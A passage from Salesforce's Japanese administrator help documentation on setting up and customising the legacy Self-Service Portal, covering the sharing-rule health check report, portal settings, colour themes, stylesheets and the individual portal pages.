セット内のユーザを編集、削除、または管理できる詳細ページを掘りさげるこ
とができます。
レポートを参照する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「ポータル状態チェック」と入力し、

[ポータル状態チェック] を選択します。
2. [共有ルール] をクリックします。

[影響を受けるポータルユーザの数] 列には、共有ルールの結果としてアクセ
スできるようになるポータルユーザの数が表示されます。この数には、ルー
ルで指定されているユーザと、オブジェクトの [階層を使用したアクセス許
可] が有効になっている場合はロールまたはテリトリー階層でそれらのユー
ザより上位のすべてのポータルユーザが含まれます。この設定のユーザが有
効なオブジェクト権限 (「参照」、「作成」、「編集」、「削除」) を持つ場
合、ルールに示されたレコードにアクセスできます。

メモ:

• 共有ルールレポートには、条件に基づく共有ルールは含まれません。
• 共有ルールレポートは、ポータルユーザのオブジェクト権限をチェッ

クしません。オブジェクトアクセスおよび項目レベルセキュリティ
レポートに、ポータルプロファイルに割り当てられた特定のオブジェ
クト権限を表示できます。

レポートページから、次の操作を実行できます。
• [編集]をクリックし、共有ルール編集ページで設定を変更して、共有ルールのアクセスレベルを変更する。
• [所有者] 列または [共有先] 列のリンクをクリックして、共有ルールのユーザセットの詳細を参照する。
• ドロップダウンリストから事前定義されたビューを選択することにより、項目の条件設定済みリストを表

示する。
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• [リストに戻る: ポータル状態チェックレポート] をクリックしてレポートのリストに戻る。

メモ: 取引先と取引先テリトリー共有ルールに対しては、共有取引先に関連する取引先責任者、商談、
ケールへのアクセス権が付与されます。[共有レポート] レポートには、関連オブジェクトではなく、上位
レベルのオブジェクトだけのアクセスレベルが示されます。

関連トピック:

ポータル状態チェック

セルフサービスポータル

セルフサービスのジャンプスタート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスジャンプ
スタートを使用する
• 「セルフサービスポー

タルの管理」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスポータルを短時間で起動するには、[ジャンプスタート]ボタンを
使用します。ユーザに代わって一部のデフォルト設定が選択されることで、設
定プロセスが自動化されています。

メモ: JavaScript は、カスタムコードの一部として保存することはできませ
ん。また、使用できるのは特定の HTML 要素および属性のみです。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択して [ジャンプスタート] をクリックします。

2. プロセスを確認し、[次へ] をクリックします。
3. カラーテーマを選択します。
4. 必要に応じてデフォルトの設定を編集し、[保存] をクリックします。
5. セルフサービスポータルのテストを次の方法で実行します。

a. [作成]をクリックして、テストのユーザ名とパスワードを取り出します。
b. [セルフサービスポータルにアクセス]をクリックして、ページをプレビュー

します。
c. [招待する] をクリックすると、ログインしてページを確認する方法を他のユーザに通知できます。

6. [セルフサービスを有効にする...]セクションにあるリンクを、Web サイトの適切な場所にコピーして、セル
フサービスポータルを有効にします。

7. 完了したら、[完了] をクリックします。
8. 顧客がセルフサービスポータルを使用できるようになります。「セルフサービスユーザの管理」 (ページ

2928)を参照してください。
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ヒント: 自分のセルフサービスの設定を変更するには、「セルフサービスの機能と設定の有効化」 (ペー
ジ 2904)を参照してください。セルフサービスジャンプスタートにより、取引先責任者詳細ページにある
[セルフサービスを有効化] ボタンは自動的に有効になります。

関連トピック:

セルフサービスの設定
システム管理者向けヒント集: セルフサービスポータルを最大限に活用
システム管理者向け設定ガイド: Self-Service Implementation Guide (セルフサービス実装ガイド)

セルフサービスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスジャンプ
スタートを使用する
• 「セルフサービスポー

タルの管理」

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスは、顧客にオンラインサポートチャネルを提供します。これに
より、顧客は、カスタマサービス担当者に連絡しなくても各自の疑問を解消で
きます。
セルフサービスポータルの設定は簡単にできます。次の 2 つの設定オプション
から選択します。
• ジャンプスタート - 短時間で起動および動作します (「セルフサービスのジャ

ンプスタート」 (ページ 2902)を参照)。
• セルフサービスの設定 - より幅広いカスタマイズを許可するように設定しま

す。設定の内容は次のとおりです。
– セルフサービスの機能と設定の有効化 (ページ 2904)

– セルフサービスのデザインのカスタマイズ (ページ 2908)

– セルフサービスのフォントと色のカスタマイズ (ページ 2909)

– セルフサービスページのカスタマイズ (ページ 2911)

– ログイン HTML の生成 (ページ 2926)

– セルフサービスユーザの管理 (ページ 2928)

関連トピック:

セルフサービスのジャンプスタート
セルフサービスのデザインのカスタマイズ
セルフサービスのフォントと色のカスタマイズ
システム管理者向けヒント集: セルフサービスポータルを最大限に活用
システム管理者向け設定ガイド: Self-Service Implementation Guide (セルフサービ
ス実装ガイド)
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セルフサービスの機能と設定の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. [セルフサービスの設定] ページの[セルフサービスの設定]をクリックします。
3. 次のオプションを設定します。

説明設定

ユーザがセルフサービスポータルに
ログインできるようにします。

ログインを有効にする

取引先責任者の詳細ページに[セルフ
サービスを有効化]ボタンを表示しま
す。セルフサービスがすでに有効に
なっている取引先責任者の場合は、
[セルフサービスを参照] ボタンが表
示されます。

セルフサービスユーザの編集

セルフサービスポータルからユーザ
がログアウトしたときに表示される
Web ページの URL。たとえば、
http://www.acme.com。ログアウ
ト URL が指定されていない場合、[ロ
グアウト]ボタンはユーザには表示さ
れません。

ログアウト URL

セルフサービスポータルを介して送
信されるすべてのケースに割り当て

デフォルトのケース 発生源

られるデフォルトの発生源。選択可
能な値は、組織の [ケース発生源]選
択リストから取得されます。セルフ
サービスで登録されたケースと
Web-to-ケースで登録されたケース
に、異なるデフォルトの発生源を割
り当てることができます。

メール-to-ケースや Web-to-ケース、オ
ンデマンドメール-to-ケースで作成さ

新規ケースをポータルに公開

れたケースを含め、すべてのケース
に対して自動的に [セルフサービス
ポータルに公開]チェックボックスを
オンにします。
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説明設定

これがデフォルトでない場合でも、ユーザが作成し
た新規ケースは、手動で[セルフサービスポータルに
公開] チェックボックスをオンにできます。

顧客がカテゴリ別のソリューションを参照できるよ
うに、セルフサービスポータルのソリューションカ
テゴリを有効にします。
マルチ言語ソリューションが有効になっている場合
は、ソリューションカテゴリ名を翻訳できます。

カテゴリ別ソリューション参照を有効化

セルフサービスポータルで顧客がアクセス可能な最
上位カテゴリ。顧客は、このカテゴリおよびサブカ

セルフサービスポータルの最上位カテゴリ

テゴリにある [セルフサービスポータルに公開] と
マークされたすべてのソリューションを参照できま
す。
顧客がすべてのカテゴリにある[セルフサービスポー
タルに公開] とマークされたすべてのソリューショ
ンを参照できるようにするには、この項目を空白に
します。

セルフサービスポータルを介して送信されるすべて
のケースに割り当てるレコードタイプ。

ケースレコードタイプ

すべての新規ユーザおよび新規パスワードのメール
の送信元アドレス (support@acme.comなど)。この

メールの送信元のアドレス

項目が空白の場合、Salesforce は次の名前を使用しま
す。
• セルフサービスポータルのログインページで [パ

スワードをお忘れですか?]をクリックして仮のパ
スワードが記載されたメールを受信したユーザ
の場合は、自動ケース更新ユーザのアドレス。
自動ケース更新ユーザは、[設定] の [サポート設
定] ページで指定します。

• ケースコメント通知メールを受信するユーザの
場合は、コメントを最後に掲載したユーザのメー
ルアドレス。

[メールの送信元のアドレス] に関連付ける名前 (Acme

Customer Support など)。この項目が空白の場合、
Salesforce は次の名前を使用します。

メールの送信元の名前

• セルフサービスポータルのログインページで [パ
スワードをお忘れですか?]をクリックして仮のパ
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説明設定

スワードが記載されたメールを受信したユーザ
の場合は、組織の名前。

• ケースコメント通知メールを受信するユーザの
場合は、コメントを最後に掲載したユーザの名
前。

新たに有効になったセルフサービスユーザに対して
ユーザ名と初期パスワードを送信するために使用さ

新規ユーザ用 テンプレート

れるメールテンプレート。セルフサービスにより、
自動的にサンプルテンプレートが選択されますが、
サンプルの変更や独自のメールテンプレートの作成
もできます。このテンプレートは「有効」に設定す
る必要があります。

このメールテンプレートは、既存のセルフサービス
ユーザに新規パスワードを送信するために使用しま

パスワードリセット用 テンプレート

す。このメールは、ユーザのパスワードをリセット
した場合や、セルフサービスポータルのログイン
ページで [パスワードをお忘れですか?] をクリック
してユーザ自身がパスワードをリセットした場合に
送信されます。セルフサービスにより、自動的にサ
ンプルテンプレートが選択されますが、サンプルの
変更や独自のメールテンプレートの作成もできま
す。このテンプレートは「有効」に設定する必要が
あります。

このオプションをオンにすると、ケースコメントの
[通知メールを送信する] オプションが表示されま
す。
このチェックボックスがオフであっても、自分のセ
ルフサービスポータルのメンバーではない取引先責

新規ケースコメントでメール通知を有効にする

任者に対するメール通知を有効にしていれば、[通
知メールを送信する] オプションがケースに表示さ
れます。「サポート設定のカスタマイズ」 (ページ
3174)を参照してください。

セルフサービスユーザのケースに公開コメントが追
加されたときに、ユーザに通知するために使用され

新規コメント用テンプレート

るメールテンプレート。セルフサービスにより、自
動的にサンプルテンプレートが選択されますが、サ
ンプルの変更や独自のメールテンプレートの作成も
できます。このテンプレートは「有効」に設定する
必要があります。
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説明設定

ケース所有者に、カスタマイズできないことを知ら
せる通知が送信されます。

セルフサービスポータルから登録されたケースが自
動レスポンスルールを適用するかどうかを表しま
す。

セルフサービスケース用のケース自動レスポンスルー
ルの有効化

セルフサービスポータルから登録されたケースがど
の自動レスポンスルールとも一致しない場合に使用
するメールテンプレート。

ケース作成時のテンプレート

Salesforceのセルフサービスページの最大幅 (ピクセル
単位)。自分のポータルを開く場合は、セルフサービ

最大ページ幅

スログインページの内側の HTML フレームの幅にな
ります。

Salesforceのセルフサービスページの最小の高さ (ピク
セル単位)。

ページの高さの最小値

組織のセルフサービススタイルシートにアクセスで
きる公開している完全な URL

スタイルシート URL

(http://www.acme.com/styles/selfservice.css など)。「セル
フサービスのデザインのカスタマイズ」 (ページ2908)

を参照してください。
定義済みのカラーテーマを使用する場合は、この項
目を空白にしておきます。

使用できるスタイルシートがない場合は、Salesforce

のカラーテーマのいずれかを使用します。テンプ
カラーテーマ

レートの設定を参照するには、[参照]リンクをクリッ
クします。Salesforce が持っているいずれかのカラー
テーマのフォントと色を変更するには、「セルフ
サービスのフォントと色のカスタマイズ」 (ページ
2909)を参照してください。

セルフサービスポータルで、単数形の「ケース」の
代わりに使用する用語。

1 つのケースを表す用語

セルフサービスポータルで、複数形の「ケース」の
代わりに使用する用語。

複数のケースを表す用語

セルフサービスポータルで、単数形の「ソリュー
ション」の代わりに使用する用語。

1 つのソリューションを表す用語

セルフサービスポータルで、複数形の「ソリュー
ション」の代わりに使用する用語。

複数のソリューションを表す用語
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4. セルフサービス設定を保存するには、[保存] をクリックします。

関連トピック:

セルフサービスの設定
システム管理者向けヒント集: セルフサービスポータルを最大限に活用
システム管理者向け設定ガイド: Self-Service Implementation Guide (セルフサービス実装ガイド)

セルフサービスのデザインのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

使いやすいセルフサービスポータルのデザインを開発する手順は、次のとおり
です。
1. セルフサービスページのヘッダーとフッターをカスタマイズします。「カス

タムページヘッダーおよびフッターセクションの作成」 (ページ2919)を参照し
てください。

2. セルフサービスポータルのフォントと色を、次のいずれかのオプションを使
用してカスタマイズします。
• 定義済みのカラーテーマを選択するか、自分専用のスタイルシートをアッ

プロード (ページ 2912)します。
• ポイント & クリックエディタを使用して、フォントと色をカスタマイズ

(ページ 2909)します。

関連トピック:

セルフサービスの設定
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セルフサービスのフォントと色のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスポータルのフォントと色の設定をカスタマイズして、会社のブ
ランド情報を反映できます。ポータルのフォントと色の設定は、ポータルの「カ
ラーテーマ」で指定します。定義済みのカラーテーマを選択し、ポイント & ク
リックエディタを使用してカスタマイズします。
1. [設定] から、[クイック検索] ボックスに「フォントと色」と入力し、[フォン

トと色の設定]を選択します。Salesforceが提供する定義済みのテーマはカスタ
マイズできます。テーマを表示するには、[プレビュー] をクリックします。

2. カスタマイズするカラーテーマを選択します。
カラーテーマページでは、次の操作が可能です。
• テーマからすべてのカスタマイズ設定を削除するには、[デフォルトにリ

セット] リンクをクリックします。
• カラーテーマのリストに戻るには、[すべてのテーマに戻る] リンクをク

リックします。
• カスタマイズしたテーマを参照するには、[テーマ名を確認]をクリックし

ます。

3. カスタマイズするポータルページを選択します。カラーテーマはページごと
にカスタマイズされ、一部の要素は複数のページで共有されます。
ポータルページから、次の操作が可能です。
• カスタマイズ可能な要素をすべて参照するには、[例を参照]をクリックし

ます。
• カスタマイズ設定を削除するには、要素の横にある [クリア] をクリックします。
• カスタマイズしたテーマを参照するには、[テーマ名を確認] をクリックします。
• すべてのポータルページのリストに戻るには、[すべてのページに戻る] リンクをクリックします。

4. カスタマイズするビジュアル要素の横にある [編集] をクリックします。要素によっては、選択したポータ
ルページでのみ表示されるものと複数のポータルページで共有されるものがあります。共有される要素に
施した変更は、すべてのページに反映されます。

メモ: ビジュアル要素よっては、ポイント & クリックエディタまたはカスタムスタイルシートエディ
タを使用して属性をカスタマイズできます。カスタムスタイルシートエディタを使用すれば、カス
ケードスタイルシート (CSS) を直接編集できます。2 つのエディタを切り替えるには、[こちらをクリッ
ク] リンクを選択します。ポイント & クリックエディタを使用している場合は、[詳細属性の表示] チェッ
クボックスをオンにして、[こちらをクリック] リンクにアクセスします。カスケードスタイルシート
(CSS) に精通しているユーザがだけが定義することをお勧めします。

5. 希望に合わせてビジュアル要素を編集します。
ポイント & クリックエディタを使用している場合:
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基本または詳細属性の横にある [編集] をクリックします。詳細属性が表示されていない場合は、[詳細
属性の表示] チェックボックスをオンにします。

•

• ポップアップウィンドウで、必要に応じて属性を変更します。
• ポップアップウィンドウで変更内容を確認するには、[OK] をクリックします。

カスタムスタイルシートエディタを使用している場合は、有効な CSS コードを入力します。
編集可能なすべてのページ属性一覧については、「セルフサービスページの属性」 (ページ2925)を参照し
てください。

6. ビジュアル要素およびその属性に対するすべての変更内容を保存するには、[保存] をクリックします。カ
ラーテーマを有効にするまで、セルフサービスユーザには、カスタマイズした内容が表示されません。

7. これらの手順を繰り返して、すべてのビジュアル要素とその属性を、必要に応じてカスタマイズします。
8. [すべてのページに戻る]リンクをクリックしてカラーテーマのリストに戻り、次に[すべてのテーマに戻る]

をクリックします。
9. [有効なテーマの設定] をクリックします。
10. ポータル、ライブ、およびリアルタイムで有効にするテーマを選択します。有効なテーマは組織で 1 つし

か指定できません。
11. [保存] をクリックします。

メモ: 有効なテーマに加えた変更はただちに反映されるため、顧客を混乱させないためにも、完全にカス
タマイズした後で、テーマを有効化することをお勧めします。

関連トピック:

セルフサービスの設定
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セルフサービスページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. セルフサービスページを必要に応じて強化します。詳細は、次のトピックを
参照してください。
• セルフサービスポータルログインページのカスタマイズ
• セルフサービスポータルホームページのカスタマイズ
• ソリューションページの有効化
• セルフサービスポータルのケース記録ページのカスタマイズ
• ケース参照ページのカスタマイズ
• 推奨ソリューションページのカスタマイズ

メモ:

• 同じセルフサービスポータルページの複数バージョンを作成することは
できません。ただし、各セルフサービスページをカスタマイズできま
す。

• Salesforce ナレッジの記事は、セルフサービスポータルに表示されませ
ん。

関連トピック:

セルフサービスの設定
セルフサービスのスタイルシートのカスタマイズ
セルフサービスページの属性
カスタムページヘッダーおよびフッターセクションの作成

ポータルを設定するための準備

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

セルフサービスポータルまたは Salesforce カスタマーポータルを設定する前に、次の作業を行います。
• 公開ソリューションの作成 - ソリューションを確認し、[セルフサービスポータルに公開]としてマークしま

す。[セルフサービスポータルに公開] としてマークされたソリューションのみセルフサービスポータルま
たはカスタマーポータルに表示できます。セルフサービスポータルの場合のみ、ホームページに含める上
位 5 個のソリューションを指定します。

• 表示および収集する情報の決定 - ユーザがケースを表示したときに使用できるケース項目を決定します。
また、ユーザがオンラインでケースを送信するときの必須項目や、ユーザが推奨ソリューションでケース
を解決するときに選択できる選択リスト値も決定する必要があります。
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• ポータルの場所の指定 - 会社 Web サイトのどこにポータルのログイン URL を追加するのかを選択します。セ
ルフサービスポータルのログイン URL を特定する方法については、「ログイン HTML の生成」を参照してく
ださい。カスタマーポータルのログイン URL を特定する方法については、「カスタマーポータルのログイ
ンと設定の有効化」 (ページ 2838)を参照してください。

• ポータルコミュニケーションテンプレートのカスタマイズ - さまざまな情報 (パスワードのリセット、公開
コメントがケースに追加されたときの通知、推奨ソリューションを使用したケース自動レスポンスなど) を
伝えるためにどのメールテンプレートをユーザに送信するのかを決定します。

• ポータルのヒント集のカスタマイズおよび配布 - Using the Self-Service Portal and Customer Portal (「セルフサービ
スポータルおよびカスタマーポータルの使用」) ヒント集をダウンロードし、ポータルのブランドや機能
(推奨ソリューションや、送信済みケースへのファイル添付機能など) に合わせて編集します。その後、ポー
タルを使用して問題を解決する方法を知りたいと考えている顧客にドキュメントを配布します。

関連トピック:

セルフサービスの設定
セルフサービスのスタイルシートのカスタマイズ

セルフサービスのスタイルシートのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

定義済みのカラーテーマを選択するか、サンプルのセルフサービスカラーテー
マのスタイルシートをダウンロードしてカスタマイズできます。このカラーテー
マを使用して、組織のブランド情報をセルフサービスポータルに組み込むこと
ができます。

メモ: ポイント & クリックエディタを使用してセルフサービスのカラーテー
マをカスタマイズする手順は、「セルフサービスのフォントと色のカスタ
マイズ」 (ページ 2909)を参照してください。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. [セルフサービスの設定] をクリックします。
3. ページ設定セクションの [カラーテーマオプションの表示]リンクをクリック

します。
4. 希望するフォントと色を探し、[スタイルシートをダウンロード] をクリック

します。
定義済みのカラーテーマをカスタマイズしないで使用する場合は、[選択] を
クリックします。

5. ダウンロードしたカラーテーマを保存し、カスタマイズが必要な場合は Web

管理者に依頼してカスタマイズします。ダウンロードしたカラーテーマは、
Web 管理者が編集できる CSS スタイルシートです。
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6. ダウンロードしたスタイルシートは公開されている場所に保存し、[スタイルシート URL]項目にスタイル
シートの URL を入力します。

7. [保存] をクリックします。

関連トピック:

セルフサービスの設定

セルフサービスポータルログインページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

セルフサービスログインページをカスタマイズして、ユーザがポータルにサイ
ンインするように要求されたときに表示される内容を指定します。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. [ポータルページ] リストで、[ログインページ] の横にある [編集] をクリック
します。

3. ログインページにカスタムメッセージを表示するには、[メッセージの表示]

をオンにします。
4. ページのメッセージを有効にした場合は、テキストボックスにメッセージを

入力し、書式設定ツールバーを使用してテキストのサイズ、色、およびフォ
ントを変更します。
必要に応じて、[HTML の表示] を選択し、ページのメッセージを HTML で表
示および編集します。
JavaScript は、カスタムコードの一部として保存することはできません。また、
使用できるのは特定の HTML 要素および属性のみです。

5. [保存] をクリックします。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ
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セルフサービスポータルホームページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

セルフサービスホームページをカスタマイズして、ユーザがセルフサービスポー
タルにログインしたときに表示される機能を追加します。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. [ポータルページ] リストで、[ホームページ] の横にある [編集] をクリックし
ます。

3. 有効にする機能を選択します。

説明機能

選択した最大 5 つのソリューション
のタイトルをホームページに一覧表
示します。

トップのソリューション一覧を表示

ログインしたセルフサービスユーザ
のオープン中のケースを一覧表示し
ます。

私のオープンケースを表示

ホームページの上部に表示されるメッ
セージ。HTML タグも含めて 32,000 文
字までのメッセージを入力できます。

メッセージの表示

4. ページにメッセージを表示するように選択した場合は、テキストボックスにメッセージを入力し、書式設
定ツールバーを使用してテキストのサイズ、色、およびフォントを変更します。
ページのメッセージを HTML で表示するには、[HTML の表示]を選択します。JavaScript は、カスタムコード
の一部として保存することはできません。また、使用できるのは特定の HTML 要素および属性のみです。

5. 差し込み項目を挿入して、動的にデータを置換することもできます。
6. [保存] をクリックします
7. ホームページの表示を確認するには、[ポータルページ] リストの [ホームページ] の横にある [プレビュー]を

クリックします。セルフサービススタイルシートをカスタマイズしている場合、プレビューではカスタム
スタイルが表示されます。

トップソリューションの設定
[ホーム] ページで [トップのソリューション一覧を表示] をオンにして、[セルフサービスの設定] ページの [ソ
リューション] 関連リストから [追加] をクリックすると、[ホーム] ページに表示するソリューションの検索お

2914

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



よび選択が可能になります。[セルフサービスポータルに公開]とマークされたソリューションのみを選択でき
ます。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ

ソリューションページの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

[セルフサービスポータルページ] 関連リストからセルフサービスソリューション
ページを有効にできます。ソリューションページは、[セルフサービスポータル
に公開] が設定されているソリューションとソリューションに添付されている
ファイルをユーザが参照できるようにします。
1. このページを有効にするには、[ソリューションページ] 行の [編集] をクリッ

クします。
2. [ソリューションページの表示] チェックボックスをオンにします。
3. ソリューションページの上部にメッセージを表示するには、[メッセージの表

示] チェックボックスをオンにします。
4. メッセージを有効にした場合は、テキストボックスにメッセージを入力し、

書式設定ツールバーを使用してテキストのサイズ、色、およびフォントを設
定します。
[HTML の表示] をオンにすると、ページのメッセージを HTML コードで表示
できます。JavaScript は、カスタムコードの一部として保存することはできま
せん。また、使用できるのは特定の HTML 要素および属性のみです。

5. 差し込み項目を挿入して、動的にデータを置換できます。
6. [保存] をクリックします。
7. ソリューションページの表示を確認するには、[ソリューションページ] 行の [プレビュー] をクリックしま

す。セルフサービススタイルシートをカスタマイズしている場合、プレビューではカスタムスタイルが表
示されます。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ
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セルフサービスポータルのケース記録ページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

セルフサービスポータルのケース登録ページを使用すると、ユーザが新しいケー
スをカスタマーサポートチームに送信できます。このページをカスタマイズす
るには、ページのメッセージを作成し、差し込み項目を追加して、挿入するケー
ス項目を選択します。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

このページから送信された新しいケースは、セルフサービス内に自動的に作成
され、ケース割り当てルールによって定義されたサポート担当者またはキュー
に自動的に割り当てられます。
1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力

し、[設定] を選択します。
2. [ポータルページ] リストで、[ケース登録ページ] の横にある [編集] をクリッ

クします。
3. [ケース登録ページの表示] チェックボックスをオンにします。
4. このページにメッセージを表示するには、[メッセージの表示] を選択しま

す。
5. ページのメッセージを有効にした場合は、テキストボックスにメッセージを

入力し、書式設定ツールバーを使用してテキストのサイズ、色、およびフォ
ントを変更します。
ページのメッセージを HTML で表示および編集するには、[HTML の表示]を選択します。JavaScript は、カス
タムコードの一部として保存することはできません。また、使用できるのは特定の HTML 要素および属性の
みです。

6. 差し込み項目を挿入して、動的にデータを置換することもできます。
7. [保存] をクリックします
8. ページに表示される項目を変更するには、[ページレイアウト] リンクをクリックします。

メモ: ケース項目に入力規則が指定されていると、項目への更新権限を持たないセルフサービスポー
タルユーザがケースを記録できないことがあります。ケース登録ページではこれらの項目をアクセス
可に設定してください。

9. 終了するには、いつでも [保存] をクリックします。
10. ケース登録ページの表示を確認するには、[ポータルページ] リストの [ケース登録ページ] の横にある [プレ

ビュー]をクリックします。セルフサービススタイルシートをカスタマイズしている場合、プレビューでは
カスタムスタイルが表示されます。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ

2916

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



ケース参照ページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

ケース参照ページの有効化とカスタマイズは、[セルフサービスポータルページ]

関連リストから実行します。ケース参照ページにより、ユーザは各自のオープ
ンケースおよびクローズケース、関連ソリューション、完了した活動、コメン
トを参照できます。また、必要に応じてケースにコメントを追加することもで
きます。
1. [ケース参照ページ] 行の [編集] をクリックします。
2. ユーザが各自のオープンまたはクローズしているケースを参照できるように

するには、[ケース参照ページの表示] をクリックします。
3. ユーザが各自のケースにコメントを追加できるようにするには、[ケースに

コメントを追加] をクリックします。ユーザがコメントを追加すると、ケー
スの所有者にメールが自動的に送信されます。

4. ユーザが各自のケースにファイルをアップロードできるようにするには、
[ケースに添付ファイルを追加] を選択します。ユーザが添付ファイルを追加
すると、ケースの所有者にメールが自動的に送信されます。
ケース参照ページのページレイアウトを編集するときに、[ケース添付ファイ
ル] 関連リストを追加すると、セルフサービスユーザは、各自のケースに追
加するファイルを参照できます。この関連リストには、サポート担当者が
ケースに追加したファイルもすべて表示されます。

5. このページにメッセージを表示するには、[メッセージの表示] をオンにします。
6. メッセージを有効にした場合は、テキストボックスにメッセージを入力し、書式設定ツールバーを使用し

てテキストのサイズ、色、およびフォントを設定します。
[HTML の表示]をオンにすると、ページのメッセージを HTML コードで表示できます。JavaScript は、カスタ
ムコードの一部として保存することはできません。また、使用できるのは特定の HTML 要素および属性のみ
です。

7. 差し込み項目を挿入して、動的にデータを置換できます。
8. [保存] をクリックします。
9. ページに表示する項目および関連リストを変更するには、[ページレイアウト] リンクをクリックします。

[ケース活動] 関連リストを追加すると、セルフサービスユーザは、そのユーザのケースに関連付けられた
公開の完了した活動を参照できます。そのためには、行動のページレイアウトで、[セルフサービスポータ
